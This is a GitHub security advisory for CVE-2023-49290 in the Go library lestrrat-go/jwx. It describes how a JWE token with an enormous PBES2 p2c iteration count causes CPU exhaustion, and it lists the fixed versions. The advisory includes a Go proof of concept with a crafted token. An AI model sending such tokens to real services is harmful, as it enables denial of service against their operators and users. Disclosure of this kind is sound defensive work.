GitHub Advisoryadvisory · Go

GHSA-7f9x-gw85-8grf lestrrat-go/jwx's malicious parameters in JWE can cause a DOS

MEDIUM Published 2023-12-05 Modified 2023-12-05 Official page ↗
Aliases
CVE-2023-49290
Ecosystem
Go
Packages
github.com/lestrrat-go/jwx, github.com/lestrrat-go/jwx/v2
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Weaknesses
CWE-400
Reviewed
2023-12-05

Affected packages

• Go github.com/lestrrat-go/jwx: < 1.2.27 → fixed in 1.2.27 • Go github.com/lestrrat-go/jwx/v2: < 2.0.18 → fixed in 2.0.18

Description

Summary too high p2c parameter in JWE's alg PBES2-* could lead to a DOS attack Details The JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive. Therefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a DOS attack PoC ```go package main import ( "fmt" "github.com/lestrrat-go/jwx/v2/jwa" "github.com/lestrrat-go/jwx/v2/jwe" "github.com/lestrrat-go/jwx/v2/jwk" ) func main() { token := []byte("eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMjU2R0NNIiwicDJjIjoyMDAwMDAwMDAwLCJwMnMiOiJNNzczSnlmV2xlX2FsSXNrc0NOTU9BIn0=.S8B1kXdIR7BM6i_TaGsgqEOxU-1Sgdakp4mHq7UVhn-_REzOiGz2gg.gU_LfzhBXtQdwYjh.9QUIS-RWkLc.m9TudmzUoCzDhHsGGfzmCA") key, err := jwk.FromRaw([]byte(`abcdefg`)) payload, err := jwe.Decrypt(token, jwe.WithKey(jwa.PBES2_HS256_A128KW, key)) if err == nil { fmt.Println(string(payload)) } } ``` Impact It's a kind of Dos attack, the user's environment could potentially utilize an excessive amount of CPU resources.

Related

Alias · CVE (1)

  • CVE-2023-49290 lestrrat-go/jwx is a Go module implementing various JWx (JWA/JWE/JWK/JWS/JWT, otherwise known as JOSE) technologies. vulnerability

Weakness · CWE (1)

  • CWE-400 Uncontrolled Resource Consumption weakness

References